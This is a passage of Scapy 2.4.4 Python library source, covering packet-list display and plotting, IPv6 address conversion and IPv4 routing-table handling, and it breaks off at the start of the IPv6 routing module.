newlines self.openearly = openearly self.opened = False if self.openearly: self.start() def _start_windows(self): if not self.opened: self.opened = True self.__f = get_temp_file() open(self.__f, "a").close() self.name = "Scapy" if self.name is None else self.name # Start a powershell in a new window and print the PID cmd = "$app = Start-Process PowerShell -ArgumentList '-command &{$host.ui.RawUI.WindowTitle=\\\"%s\\\";Get-Content \\\"%s\\\" -wait}' -passthru; echo $app.Id" % (self.name, self.__f.replace("\\", "\\\\")) # noqa: E501 proc = subprocess.Popen([conf.prog.powershell, cmd], stdout=subprocess.PIPE) # noqa: E501 output, _ = proc.communicate() # This is the process PID self.pid = int(output) print("PID: %d" % self.pid) def _start_unix(self): if not self.opened: self.opened = True rdesc, self.wdesc = os.pipe() cmd = ["xterm"] if self.name is not None: cmd.extend(["-title", self.name]) if self.keepterm: cmd.append("-hold") cmd.extend(["-e", "cat <&%d" % rdesc]) self.proc = subprocess.Popen(cmd, close_fds=False) os.close(rdesc) def start(self): if WINDOWS: return self._start_windows() else: return self._start_unix() def _stop_windows(self): if not self.keepterm: self.opened = False # Recipe to kill process with PID # http://code.activestate.com/recipes/347462-terminating-a-subprocess-on-windows/ import ctypes PROCESS_TERMINATE = 1 handle = ctypes.windll.kernel32.OpenProcess(PROCESS_TERMINATE, False, self.pid) # noqa: E501 ctypes.windll.kernel32.TerminateProcess(handle, -1) ctypes.windll.kernel32.CloseHandle(handle) def _stop_unix(self): if not self.keepterm: self.opened = False self.proc.kill() self.proc.wait() def stop(self): if WINDOWS: return self._stop_windows() else: return self._stop_unix() def _print(self, s): if self.newlines: s += "\n" if WINDOWS: wdesc = open(self.__f, "a") wdesc.write(s) wdesc.close() else: os.write(self.wdesc, s.encode()) def push(self, msg): self._print(str(msg)) def high_push(self, msg): self._print(str(msg)) class QueueSink(Sink): """ Collects messages on the low and high entries into a :py:class:`Queue`. Messages are dequeued with :py:meth:`recv`. Both high and low entries share the same :py:class:`Queue`. .. code:: +-------+ >>-|--. |->> | queue | >-|--' |-> +-------+ """ def __init__(self, name=None): Sink.__init__(self, name=name) self.q = six.moves.queue.Queue() def push(self, msg): self.q.put(msg) def high_push(self, msg): self.q.put(msg) def recv(self, block=True, timeout=None): """ Reads the next message from the queue. If no message is available in the queue, returns None. :param block: Blocks execution until a packet is available in the queue. Defaults to True. :type block: bool :param timeout: Controls how long to wait if ``block=True``. If None (the default), this method will wait forever. If a non-negative number, this is a number of seconds to wait before giving up (and returning None). :type timeout: None, int or float """ try: return self.q.get(block=block, timeout=timeout) except six.moves.queue.Empty: pass class TransformDrain(Drain): """Apply a function to messages on low and high entry: .. code:: +-------+ >>-|--[f]--|->> | | >-|--[f]--|-> +-------+ """ def __init__(self, f, name=None): Drain.__init__(self, name=name) self.f = f def push(self, msg): self._send(self.f(msg)) def high_push(self, msg): self._high_send(self.f(msg)) class UpDrain(Drain): """Repeat messages from low entry to high exit: .. code:: +-------+ >>-| ,--|->> | / | >-|--' |-> +-------+ """ def push(self, msg): self._high_send(msg) def high_push(self, msg): pass class DownDrain(Drain): r"""Repeat messages from high entry to low exit: .. code:: +-------+ >>-|--. |->> | \ | >-| `--|-> +-------+ """ def push(self, msg): pass def high_push(self, msg): self._send(msg) scapy-2.4.4/scapy/plist.py000066400000000000000000000660731372370053500155050ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ PacketList: holds several packets and allows to do operations on them. """ from __future__ import absolute_import from __future__ import print_function import os from collections import defaultdict from scapy.compat import lambda_tuple_converter from scapy.config import conf from scapy.base_classes import BasePacket, BasePacketList, _CanvasDumpExtended from scapy.fields import IPField, ShortEnumField, PacketField from scapy.utils import do_graph, hexdump, make_table, make_lined_table, \ make_tex_table, issubtype from scapy.extlib import plt, Line2D, \ MATPLOTLIB_INLINED, MATPLOTLIB_DEFAULT_PLOT_KARGS from functools import reduce import scapy.modules.six as six from scapy.modules.six.moves import range, zip from scapy.compat import Optional, List, Union, Tuple, Dict, Any, Callable from scapy.packet import Packet ############# # Results # ############# class PacketList(BasePacketList, _CanvasDumpExtended): __slots__ = ["stats", "res", "listname"] def __init__(self, res=None, name="PacketList", stats=None): """create a packet list from a list of packets res: the list of packets stats: a list of classes that will appear in the stats (defaults to [TCP,UDP,ICMP])""" # noqa: E501 if stats is None: stats = conf.stats_classic_protocols self.stats = stats if res is None: res = [] elif isinstance(res, PacketList): res = res.res self.res = res self.listname = name def __len__(self): # type: () -> int return len(self.res) def _elt2pkt(self, elt): # type: (Packet) -> Packet return elt def _elt2sum(self, elt): # type: (Packet) -> str return elt.summary() def _elt2show(self, elt): # type: (Packet) -> str return self._elt2sum(elt) def __repr__(self): # type: () -> str stats = {x: 0 for x in self.stats} other = 0 for r in self.res: f = 0 for p in stats: if self._elt2pkt(r).haslayer(p): stats[p] += 1 f = 1 break if not f: other += 1 s = "" ct = conf.color_theme for p in self.stats: s += " %s%s%s" % (ct.packetlist_proto(p._name), ct.punct(":"), ct.packetlist_value(stats[p])) s += " %s%s%s" % (ct.packetlist_proto("Other"), ct.punct(":"), ct.packetlist_value(other)) return "%s%s%s%s%s" % (ct.punct("<"), ct.packetlist_name(self.listname), ct.punct(":"), s, ct.punct(">")) def __getstate__(self): # type: () -> Dict[str, Union[List[PacketField], List[Packet], str]] """ Creates a basic representation of the instance, used in conjunction with __setstate__() e.g. by pickle :returns: dict representing this instance """ state = { 'res': self.res, 'stats': self.stats, 'listname': self.listname } return state def __setstate__(self, state): # type: (Dict[str, Union[List[PacketField], List[Packet], str]]) -> None # noqa: E501 """ Sets instance attributes to values given by state, used in conjunction with __getstate__() e.g. by pickle :param state: dict representing this instance """ self.res = state['res'] self.stats = state['stats'] self.listname = state['listname'] def __getattr__(self, attr): # type: (str) -> Any return getattr(self.res, attr) def __getitem__(self, item): if issubtype(item, BasePacket): return self.__class__([x for x in self.res if item in self._elt2pkt(x)], # noqa: E501 name="%s from %s" % (item.__name__, self.listname)) # noqa: E501 if isinstance(item, slice): return self.__class__(self.res.__getitem__(item), name="mod %s" % self.listname) return self.res.__getitem__(item) def __add__(self, other): # type: (PacketList) -> PacketList return self.__class__(self.res + other.res, name="%s+%s" % (self.listname, other.listname)) def summary(self, prn=None, lfilter=None): # type: (Optional[Callable], Optional[Callable]) -> None """prints a summary of each packet :param prn: function to apply to each packet instead of lambda x:x.summary() :param lfilter: truth function to apply to each packet to decide whether it will be displayed """ # Python 2 backward compatibility prn = lambda_tuple_converter(prn) lfilter = lambda_tuple_converter(lfilter) for r in self.res: if lfilter is not None: if not lfilter(*r): continue if prn is None: print(self._elt2sum(r)) else: print(prn(*r)) def nsummary(self, prn=None, lfilter=None): # type: (Optional[Callable], Optional[Callable]) -> None """prints a summary of each packet with the packet's number :param prn: function to apply to each packet instead of lambda x:x.summary() :param lfilter: truth function to apply to each packet to decide whether it will be displayed """ # Python 2 backward compatibility prn = lambda_tuple_converter(prn) lfilter = lambda_tuple_converter(lfilter) for i, res in enumerate(self.res): if lfilter is not None: if not lfilter(*res): continue print(conf.color_theme.id(i, fmt="%04i"), end=' ') if prn is None: print(self._elt2sum(res)) else: print(prn(*res)) def display(self): # Deprecated. Use show() """deprecated. is show()""" self.show() def show(self, *args, **kargs): # type: (Any, Any) -> None """Best way to display the packet list. Defaults to nsummary() method""" # noqa: E501 return self.nsummary(*args, **kargs) def filter(self, func): # type: (Callable) -> PacketList """Returns a packet list filtered by a truth function. This truth function has to take a packet as the only argument and return a boolean value.""" # noqa: E501 # Python 2 backward compatibility func = lambda_tuple_converter(func) return self.__class__([x for x in self.res if func(*x)], name="filtered %s" % self.listname) def make_table(self, *args, **kargs): # type: (Any, Any) -> None """Prints a table using a function that returns for each packet its head column value, head row value and displayed value # noqa: E501 ex: p.make_table(lambda x:(x[IP].dst, x[TCP].dport, x[TCP].sprintf("%flags%")) """ # noqa: E501 return make_table(self.res, *args, **kargs) def make_lined_table(self, *args, **kargs): # type: (Any, Any) -> None """Same as make_table, but print a table with lines""" return make_lined_table(self.res, *args, **kargs) def make_tex_table(self, *args, **kargs): # type: (Any, Any) -> None """Same as make_table, but print a table with LaTeX syntax""" return make_tex_table(self.res, *args, **kargs) def plot(self, f, lfilter=None, plot_xy=False, **kargs): # type: (Callable, Optional[Callable], bool, Any) -> Line2D """Applies a function to each packet to get a value that will be plotted with matplotlib. A list of matplotlib.lines.Line2D is returned. lfilter: a truth function that decides whether a packet must be plotted """ # Python 2 backward compatibility f = lambda_tuple_converter(f) lfilter = lambda_tuple_converter(lfilter) # Get the list of packets if lfilter is None: lst_pkts = [f(*e) for e in self.res] else: lst_pkts = [f(*e) for e in self.res if lfilter(*e)] # Mimic the default gnuplot output if kargs == {}: kargs = MATPLOTLIB_DEFAULT_PLOT_KARGS if plot_xy: lines = plt.plot(*zip(*lst_pkts), **kargs) else: lines = plt.plot(lst_pkts, **kargs) # Call show() if matplotlib is not inlined if not MATPLOTLIB_INLINED: plt.show() return lines def diffplot(self, f, delay=1, lfilter=None, **kargs): # type: (Callable, int, Optional[Callable], Any) -> Line2D """diffplot(f, delay=1, lfilter=None) Applies a function to couples (l[i],l[i+delay]) A list of matplotlib.lines.Line2D is returned. """ # Get the list of packets if lfilter is None: lst_pkts = [f(self.res[i], self.res[i + 1]) for i in range(len(self.res) - delay)] else: lst_pkts = [f(self.res[i], self.res[i + 1]) for i in range(len(self.res) - delay) if lfilter(self.res[i])] # Mimic the default gnuplot output if kargs == {}: kargs = MATPLOTLIB_DEFAULT_PLOT_KARGS lines = plt.plot(lst_pkts, **kargs) # Call show() if matplotlib is not inlined if not MATPLOTLIB_INLINED: plt.show() return lines def multiplot(self, f, lfilter=None, plot_xy=False, **kargs): # type: (Callable, Optional[Callable], bool, Any) -> Line2D """Uses a function that returns a label and a value for this label, then plots all the values label by label. A list of matplotlib.lines.Line2D is returned. """ # Python 2 backward compatibility f = lambda_tuple_converter(f) lfilter = lambda_tuple_converter(lfilter) # Get the list of packets if lfilter is None: lst_pkts = (f(*e) for e in self.res) else: lst_pkts = (f(*e) for e in self.res if lfilter(*e)) # Apply the function f to the packets d = {} # type: Dict[str, List[float]] for k, v in lst_pkts: d.setdefault(k, []).append(v) # Mimic the default gnuplot output if not kargs: kargs = MATPLOTLIB_DEFAULT_PLOT_KARGS if plot_xy: lines = [plt.plot(*zip(*pl), **dict(kargs, label=k)) for k, pl in six.iteritems(d)] else: lines = [plt.plot(pl, **dict(kargs, label=k)) for k, pl in six.iteritems(d)] plt.legend(loc="center right", bbox_to_anchor=(1.5, 0.5)) # Call show() if matplotlib is not inlined if not MATPLOTLIB_INLINED: plt.show() return lines def rawhexdump(self): # type: (Optional[Callable]) -> None """Prints an hexadecimal dump of each packet in the list""" for p in self: hexdump(self._elt2pkt(p)) def hexraw(self, lfilter=None): # type: (Optional[Callable]) -> None """Same as nsummary(), except that if a packet has a Raw layer, it will be hexdumped # noqa: E501 lfilter: a truth function that decides whether a packet must be displayed""" # noqa: E501 for i, res in enumerate(self.res): p = self._elt2pkt(res) if lfilter is not None and not lfilter(p): continue print("%s %s %s" % (conf.color_theme.id(i, fmt="%04i"), p.sprintf("%.time%"), self._elt2sum(res))) if p.haslayer(conf.raw_layer): hexdump(p.getlayer(conf.raw_layer).load) def hexdump(self, lfilter=None): # type: (Optional[Callable]) -> None """Same as nsummary(), except that packets are also hexdumped lfilter: a truth function that decides whether a packet must be displayed""" # noqa: E501 for i, res in enumerate(self.res): p = self._elt2pkt(res) if lfilter is not None and not lfilter(p): continue print("%s %s %s" % (conf.color_theme.id(i, fmt="%04i"), p.sprintf("%.time%"), self._elt2sum(res))) hexdump(p) def padding(self, lfilter=None): # type: (Optional[Callable]) -> None """Same as hexraw(), for Padding layer""" for i, res in enumerate(self.res): p = self._elt2pkt(res) if p.haslayer(conf.padding_layer): if lfilter is None or lfilter(p): print("%s %s %s" % (conf.color_theme.id(i, fmt="%04i"), p.sprintf("%.time%"), self._elt2sum(res))) hexdump(p.getlayer(conf.padding_layer).load) def nzpadding(self, lfilter=None): # type: (Optional[Callable]) -> None """Same as padding() but only non null padding""" for i, res in enumerate(self.res): p = self._elt2pkt(res) if p.haslayer(conf.padding_layer): pad = p.getlayer(conf.padding_layer).load if pad == pad[0] * len(pad): continue if lfilter is None or lfilter(p): print("%s %s %s" % (conf.color_theme.id(i, fmt="%04i"), p.sprintf("%.time%"), self._elt2sum(res))) hexdump(p.getlayer(conf.padding_layer).load) def conversations(self, getsrcdst=None, **kargs): """Graphes a conversations between sources and destinations and display it (using graphviz and imagemagick) :param getsrcdst: a function that takes an element of the list and returns the source, the destination and optionally a label. By default, returns the IP source and destination from IP and ARP layers :param type: output type (svg, ps, gif, jpg, etc.), passed to dot's "-T" option :param target: filename or redirect. Defaults pipe to Imagemagick's display program :param prog: which graphviz program to use """ if getsrcdst is None: def getsrcdst(pkt): """Extract src and dst addresses""" if 'IP' in pkt: return (pkt['IP'].src, pkt['IP'].dst) if 'IPv6' in pkt: return (pkt['IPv6'].src, pkt['IPv6'].dst) if 'ARP' in pkt: return (pkt['ARP'].psrc, pkt['ARP'].pdst) raise TypeError() conv = {} for p in self.res: p = self._elt2pkt(p) try: c = getsrcdst(p) except Exception: # No warning here: it's OK that getsrcdst() raises an # exception, since it might be, for example, a # function that expects a specific layer in each # packet. The try/except approach is faster and # considered more Pythonic than adding tests. continue if len(c) == 3: conv.setdefault(c[:2], set()).add(c[2]) else: conv[c] = conv.get(c, 0) + 1 gr = 'digraph "conv" {\n' for (s, d), l in six.iteritems(conv): gr += '\t "%s" -> "%s" [label="%s"]\n' % ( s, d, ', '.join(str(x) for x in l) if isinstance(l, set) else l ) gr += "}\n" return do_graph(gr, **kargs) def afterglow(self, src=None, event=None, dst=None, **kargs): # type: (Optional[Callable], Optional[Callable], Optional[Callable], Any) -> None # noqa: E501 """Experimental clone attempt of http://sourceforge.net/projects/afterglow each datum is reduced as src -> event -> dst and the data are graphed. by default we have IP.src -> IP.dport -> IP.dst""" if src is None: src = lambda x: x['IP'].src if event is None: event = lambda x: x['IP'].dport if dst is None: dst = lambda x: x['IP'].dst sl = {} # type: Dict[IPField, Tuple[int, List[ShortEnumField]]] el = {} # type: Dict[ShortEnumField, Tuple[int, List[IPField]]] dl = {} # type: Dict[IPField, ShortEnumField] for i in self.res: try: s, e, d = src(i), event(i), dst(i) if s in sl: n, lst = sl[s] n += 1 if e not in lst: lst.append(e) sl[s] = (n, lst) else: sl[s] = (1, [e]) if e in el: n, lst = el[e] n += 1 if d not in lst: lst.append(d) el[e] = (n, lst) else: el[e] = (1, [d]) dl[d] = dl.get(d, 0) + 1 except Exception: continue def minmax(x): m, M = reduce(lambda a, b: (min(a[0], b[0]), max(a[1], b[1])), ((a, a) for a in x)) if m == M: m = 0 if M == 0: M = 1 return m, M mins, maxs = minmax(x for x, _ in six.itervalues(sl)) mine, maxe = minmax(x for x, _ in six.itervalues(el)) mind, maxd = minmax(six.itervalues(dl)) gr = 'digraph "afterglow" {\n\tedge [len=2.5];\n' gr += "# src nodes\n" for s in sl: n, _ = sl[s] n = 1 + float(n - mins) / (maxs - mins) gr += '"src.%s" [label = "%s", shape=box, fillcolor="#FF0000", style=filled, fixedsize=1, height=%.2f,width=%.2f];\n' % (repr(s), repr(s), n, n) # noqa: E501 gr += "# event nodes\n" for e in el: n, _ = el[e] n = 1 + float(n - mine) / (maxe - mine) gr += '"evt.%s" [label = "%s", shape=circle, fillcolor="#00FFFF", style=filled, fixedsize=1, height=%.2f, width=%.2f];\n' % (repr(e), repr(e), n, n) # noqa: E501 for d in dl: n = dl[d] n = 1 + float(n - mind) / (maxd - mind) gr += '"dst.%s" [label = "%s", shape=triangle, fillcolor="#0000ff", style=filled, fixedsize=1, height=%.2f, width=%.2f];\n' % (repr(d), repr(d), n, n) # noqa: E501 gr += "###\n" for s in sl: n, lst = sl[s] for e in lst: gr += ' "src.%s" -> "evt.%s";\n' % (repr(s), repr(e)) for e in el: n, lst = el[e] for d in lst: gr += ' "evt.%s" -> "dst.%s";\n' % (repr(e), repr(d)) gr += "}" return do_graph(gr, **kargs) def canvas_dump(self, **kargs): # type: (Any) -> Any # Using Any since pyx is imported later import pyx d = pyx.document.document() len_res = len(self.res) for i, res in enumerate(self.res): c = self._elt2pkt(res).canvas_dump(**kargs) cbb = c.bbox() c.text(cbb.left(), cbb.top() + 1, r"\font\cmssfont=cmss12\cmssfont{Frame %i/%i}" % (i, len_res), [pyx.text.size.LARGE]) # noqa: E501 if conf.verb >= 2: os.write(1, b".") d.append(pyx.document.page(c, paperformat=pyx.document.paperformat.A4, # noqa: E501 margin=1 * pyx.unit.t_cm, fittosize=1)) return d def sr(self, multi=0): # type: (int) -> Tuple[SndRcvList, PacketList] """sr([multi=1]) -> (SndRcvList, PacketList) Matches packets in the list and return ( (matched couples), (unmatched packets) )""" # noqa: E501 remain = self.res[:] sr = [] i = 0 while i < len(remain): s = remain[i] j = i while j < len(remain) - 1: j += 1 r = remain[j] if r.answers(s): sr.append((s, r)) if multi: remain[i]._answered = 1 remain[j]._answered = 2 continue del(remain[j]) del(remain[i]) i -= 1 break i += 1 if multi: remain = [x for x in remain if not hasattr(x, "_answered")] return SndRcvList(sr), PacketList(remain) def sessions(self, session_extractor=None): if session_extractor is None: def session_extractor(p): """Extract sessions from packets""" if 'Ether' in p: if 'IP' in p or 'IPv6' in p: ip_src_fmt = "{IP:%IP.src%}{IPv6:%IPv6.src%}" ip_dst_fmt = "{IP:%IP.dst%}{IPv6:%IPv6.dst%}" addr_fmt = (ip_src_fmt, ip_dst_fmt) if 'TCP' in p: fmt = "TCP {}:%r,TCP.sport% > {}:%r,TCP.dport%" elif 'UDP' in p: fmt = "UDP {}:%r,UDP.sport% > {}:%r,UDP.dport%" elif 'ICMP' in p: fmt = "ICMP {} > {} type=%r,ICMP.type% code=%r," \ "ICMP.code% id=%ICMP.id%" elif 'ICMPv6' in p: fmt = "ICMPv6 {} > {} type=%r,ICMPv6.type% " \ "code=%r,ICMPv6.code%" elif 'IPv6' in p: fmt = "IPv6 {} > {} nh=%IPv6.nh%" else: fmt = "IP {} > {} proto=%IP.proto%" return p.sprintf(fmt.format(*addr_fmt)) elif 'ARP' in p: return p.sprintf("ARP %ARP.psrc% > %ARP.pdst%") else: return p.sprintf("Ethernet type=%04xr,Ether.type%") return "Other" sessions = defaultdict(self.__class__) for p in self.res: sess = session_extractor(self._elt2pkt(p)) sessions[sess].append(p) return dict(sessions) def replace(self, *args, **kargs): # type: (Any, Any) -> PacketList """ lst.replace(,[,]) lst.replace( (fld,[ov],nv),(fld,[ov,]nv),...) if ov is None, all values are replaced ex: lst.replace( IP.src, "192.168.1.1", "10.0.0.1" ) lst.replace( IP.ttl, 64 ) lst.replace( (IP.ttl, 64), (TCP.sport, 666, 777), ) """ delete_checksums = kargs.get("delete_checksums", False) x = PacketList(name="Replaced %s" % self.listname) if not isinstance(args[0], tuple): args = (args,) for p in self.res: p = self._elt2pkt(p) copied = False for scheme in args: fld = scheme[0] old = scheme[1] # not used if len(scheme) == 2 new = scheme[-1] for o in fld.owners: if o in p: if len(scheme) == 2 or p[o].getfieldval(fld.name) == old: # noqa: E501 if not copied: p = p.copy() if delete_checksums: p.delete_checksums() copied = True setattr(p[o], fld.name, new) x.append(p) return x def getlayer(self, cls, # type: Packet nb=None, # type: Optional[int] flt=None, # type: Optional[Dict[str, Any]] name=None, # type: Optional[str] stats=None # type: Optional[List[Packet]] ): # type: (...) -> PacketList """Returns the packet list from a given layer. See ``Packet.getlayer`` for more info. :param cls: search for a layer that is an instance of ``cls`` :type cls: Type[scapy.packet.Packet] :param nb: return the nb^th layer that is an instance of ``cls`` :type nb: Optional[int] :param flt: filter parameters for ``Packet.getlayer`` :type flt: Optional[Dict[str, Any]] :param name: optional name for the new PacketList :type name: Optional[str] :param stats: optional list of protocols to give stats on; if not specified, inherits from this PacketList. :type stats: Optional[List[Type[scapy.packet.Packet]]] :rtype: scapy.plist.PacketList """ if name is None: name = "{} layer {}".format(self.listname, cls.__name__) if stats is None: stats = self.stats getlayer_arg = {} # type: Dict[str, Any] if flt is not None: getlayer_arg.update(flt) getlayer_arg['cls'] = cls if nb is not None: getlayer_arg['nb'] = nb # Only return non-None getlayer results return PacketList([ pc for pc in (p.getlayer(**getlayer_arg) for p in self.res) if pc is not None], name, stats ) def convert_to(self, other_cls, name=None, stats=None): # type: (Packet, Optional[str], Optional[List[Packet]]) -> PacketList """Converts all packets to another type. See ``Packet.convert_to`` for more info. :param other_cls: reference to a Packet class to convert to :type other_cls: Type[scapy.packet.Packet] :param name: optional name for the new PacketList :type name: Optional[str] :param stats: optional list of protocols to give stats on; if not specified, inherits from this PacketList. :type stats: Optional[List[Type[scapy.packet.Packet]]] :rtype: scapy.plist.PacketList """ if name is None: name = "{} converted to {}".format( self.listname, other_cls.__name__) if stats is None: stats = self.stats return PacketList( [p.convert_to(other_cls) for p in self.res], name, stats ) class SndRcvList(PacketList): __slots__ = [] # type: List[str] def __init__(self, res=None, # type: Optional[Union[List[Packet], PacketList]] name="Results", # type: str stats=None # type: Optional[List[Packet]] ): # type: (...) -> None PacketList.__init__(self, res, name, stats) def _elt2pkt(self, elt): # type: (Tuple[Packet, Packet]) -> Packet return elt[1] def _elt2sum(self, elt): # type: (Tuple[Packet, Packet]) -> str return "%s ==> %s" % (elt[0].summary(), elt[1].summary()) scapy-2.4.4/scapy/pton_ntop.py000066400000000000000000000105601372370053500163600ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Convert IPv6 addresses between textual representation and binary. These functions are missing when python is compiled without IPv6 support, on Windows for instance. """ from __future__ import absolute_import import socket import re import binascii from scapy.modules.six.moves import range from scapy.compat import plain_str, hex_bytes, bytes_encode, bytes_hex _IP6_ZEROS = re.compile('(?::|^)(0(?::0)+)(?::|$)') _INET6_PTON_EXC = socket.error("illegal IP address string passed to inet_pton") def _inet6_pton(addr): """Convert an IPv6 address from text representation into binary form, used when socket.inet_pton is not available. """ joker_pos = None result = b"" addr = plain_str(addr) if addr == '::': return b'\x00' * 16 if addr.startswith('::'): addr = addr[1:] if addr.endswith('::'): addr = addr[:-1] parts = addr.split(":") nparts = len(parts) for i, part in enumerate(parts): if not part: # "::" indicates one or more groups of 2 null bytes if joker_pos is None: joker_pos = len(result) else: # Wildcard is only allowed once raise _INET6_PTON_EXC elif i + 1 == nparts and '.' in part: # The last part of an IPv6 address can be an IPv4 address if part.count('.') != 3: # we have to do this since socket.inet_aton('1.2') == # b'\x01\x00\x00\x02' raise _INET6_PTON_EXC try: result += socket.inet_aton(part) except socket.error: raise _INET6_PTON_EXC else: # Each part must be 16bit. Add missing zeroes before decoding. try: result += hex_bytes(part.rjust(4, "0")) except (binascii.Error, TypeError): raise _INET6_PTON_EXC # If there's a wildcard, fill up with zeros to reach 128bit (16 bytes) if joker_pos is not None: if len(result) == 16: raise _INET6_PTON_EXC result = (result[:joker_pos] + b"\x00" * (16 - len(result)) + result[joker_pos:]) if len(result) != 16: raise _INET6_PTON_EXC return result _INET_PTON = { socket.AF_INET: socket.inet_aton, socket.AF_INET6: _inet6_pton, } def inet_pton(af, addr): """Convert an IP address from text representation into binary form.""" # Will replace Net/Net6 objects addr = plain_str(addr) # Use inet_pton if available try: return socket.inet_pton(af, addr) except AttributeError: try: return _INET_PTON[af](addr) except KeyError: raise socket.error("Address family not supported by protocol") def _inet6_ntop(addr): """Convert an IPv6 address from binary form into text representation, used when socket.inet_pton is not available. """ # IPv6 addresses have 128bits (16 bytes) if len(addr) != 16: raise ValueError("invalid length of packed IP address string") # Decode to hex representation address = ":".join(plain_str(bytes_hex(addr[idx:idx + 2])).lstrip('0') or '0' # noqa: E501 for idx in range(0, 16, 2)) try: # Get the longest set of zero blocks. We need to take a look # at group 1 regarding the length, as 0:0:1:0:0:2:3:4 would # have two matches: 0:0: and :0:0: where the latter is longer, # though the first one should be taken. Group 1 is in both # cases 0:0. match = max(_IP6_ZEROS.finditer(address), key=lambda m: m.end(1) - m.start(1)) return '{}::{}'.format(address[:match.start()], address[match.end():]) except ValueError: return address _INET_NTOP = { socket.AF_INET: socket.inet_ntoa, socket.AF_INET6: _inet6_ntop, } def inet_ntop(af, addr): """Convert an IP address from binary form into text representation.""" # Use inet_ntop if available addr = bytes_encode(addr) try: return socket.inet_ntop(af, addr) except AttributeError: try: return _INET_NTOP[af](addr) except KeyError: raise ValueError("unknown address family %d" % af) scapy-2.4.4/scapy/route.py000066400000000000000000000153761372370053500155100ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Routing and handling of network interfaces. """ from __future__ import absolute_import import scapy.consts from scapy.config import conf from scapy.error import Scapy_Exception, warning from scapy.modules import six from scapy.utils import atol, ltoa, itom, plain_str, pretty_list ############################## # Routing/Interfaces stuff # ############################## class Route: def __init__(self): self.resync() def invalidate_cache(self): self.cache = {} def resync(self): from scapy.arch import read_routes self.invalidate_cache() self.routes = read_routes() def __repr__(self): rtlst = [] for net, msk, gw, iface, addr, metric in self.routes: rtlst.append((ltoa(net), ltoa(msk), gw, (iface.description if not isinstance(iface, six.string_types) else iface), # noqa: E501 addr, str(metric))) return pretty_list(rtlst, [("Network", "Netmask", "Gateway", "Iface", "Output IP", "Metric")]) # noqa: E501 def make_route(self, host=None, net=None, gw=None, dev=None, metric=1): from scapy.arch import get_if_addr if host is not None: thenet, msk = host, 32 elif net is not None: thenet, msk = net.split("/") msk = int(msk) else: raise Scapy_Exception("make_route: Incorrect parameters. You should specify a host or a net") # noqa: E501 if gw is None: gw = "0.0.0.0" if dev is None: if gw: nhop = gw else: nhop = thenet dev, ifaddr, _ = self.route(nhop) else: ifaddr = get_if_addr(dev) return (atol(thenet), itom(msk), gw, dev, ifaddr, metric) def add(self, *args, **kargs): """Ex: add(net="192.168.1.0/24",gw="1.2.3.4") """ self.invalidate_cache() self.routes.append(self.make_route(*args, **kargs)) def delt(self, *args, **kargs): """delt(host|net, gw|dev)""" self.invalidate_cache() route = self.make_route(*args, **kargs) try: i = self.routes.index(route) del(self.routes[i]) except ValueError: warning("no matching route found") def ifchange(self, iff, addr): self.invalidate_cache() the_addr, the_msk = (addr.split("/") + ["32"])[:2] the_msk = itom(int(the_msk)) the_rawaddr = atol(the_addr) the_net = the_rawaddr & the_msk for i, route in enumerate(self.routes): net, msk, gw, iface, addr, metric = route if scapy.consts.WINDOWS: if iff.guid != iface.guid: continue elif iff != iface: continue if gw == '0.0.0.0': self.routes[i] = (the_net, the_msk, gw, iface, the_addr, metric) # noqa: E501 else: self.routes[i] = (net, msk, gw, iface, the_addr, metric) conf.netcache.flush() def ifdel(self, iff): self.invalidate_cache() new_routes = [] for rt in self.routes: if scapy.consts.WINDOWS: if iff.guid == rt[3].guid: continue elif iff == rt[3]: continue new_routes.append(rt) self.routes = new_routes def ifadd(self, iff, addr): self.invalidate_cache() the_addr, the_msk = (addr.split("/") + ["32"])[:2] the_msk = itom(int(the_msk)) the_rawaddr = atol(the_addr) the_net = the_rawaddr & the_msk self.routes.append((the_net, the_msk, '0.0.0.0', iff, the_addr, 1)) def route(self, dst=None, verbose=conf.verb): """Returns the IPv4 routes to a host. parameters: - dst: the IPv4 of the destination host returns: (iface, output_ip, gateway_ip) - iface: the interface used to connect to the host - output_ip: the outgoing IP that will be used - gateway_ip: the gateway IP that will be used """ dst = dst or "0.0.0.0" # Enable route(None) to return default route if isinstance(dst, bytes): try: dst = plain_str(dst) except UnicodeDecodeError: raise TypeError("Unknown IP address input (bytes)") if dst in self.cache: return self.cache[dst] # Transform "192.168.*.1-5" to one IP of the set _dst = dst.split("/")[0].replace("*", "0") while True: idx = _dst.find("-") if idx < 0: break m = (_dst[idx:] + ".").find(".") _dst = _dst[:idx] + _dst[idx + m:] atol_dst = atol(_dst) paths = [] for d, m, gw, i, a, me in self.routes: if not a: # some interfaces may not currently be connected continue aa = atol(a) if aa == atol_dst: paths.append( (0xffffffff, 1, (conf.loopback_name, a, "0.0.0.0")) # noqa: E501 ) if (atol_dst & m) == (d & m): paths.append((m, me, (i, a, gw))) if not paths: if verbose: warning("No route found (no default route?)") return conf.loopback_name, "0.0.0.0", "0.0.0.0" # Choose the more specific route # Sort by greatest netmask and use metrics as a tie-breaker paths.sort(key=lambda x: (-x[0], x[1])) # Return interface ret = paths[0][2] self.cache[dst] = ret return ret def get_if_bcast(self, iff): bcast_list = [] for net, msk, gw, iface, addr, metric in self.routes: if net == 0: continue # Ignore default route "0.0.0.0" elif msk == 0xffffffff: continue # Ignore host-specific routes if scapy.consts.WINDOWS: if iff.guid != iface.guid: continue elif iff != iface: continue bcast = net | (~msk & 0xffffffff) bcast_list.append(ltoa(bcast)) if not bcast_list: warning("No broadcast address found for iface %s\n", iff) return bcast_list conf.route = Route() iface = conf.route.route(None, verbose=0)[0] if getattr(iface, "name", iface) == conf.loopback_name: from scapy.arch import get_working_if conf.iface = get_working_if() else: conf.iface = iface del iface scapy-2.4.4/scapy/route6.py000066400000000000000000000305571372370053500155740ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license # Copyright (C) 2005 Guillaume Valadon # Arnaud Ebalard """ Routing and network interface handling for IPv6. """ ############################################################################# # Routing/Interfaces stuff # ############################################################################# from __future__ import absolute_import import socket from scapy.config import conf from scapy.utils6 import in6_ptop, in6_cidr2mask, in6_and, \ in6_islladdr, in6_ismlladdr, in6_isincluded, in6_isgladdr, \ in6_isaddr6to4, in6_ismaddr, 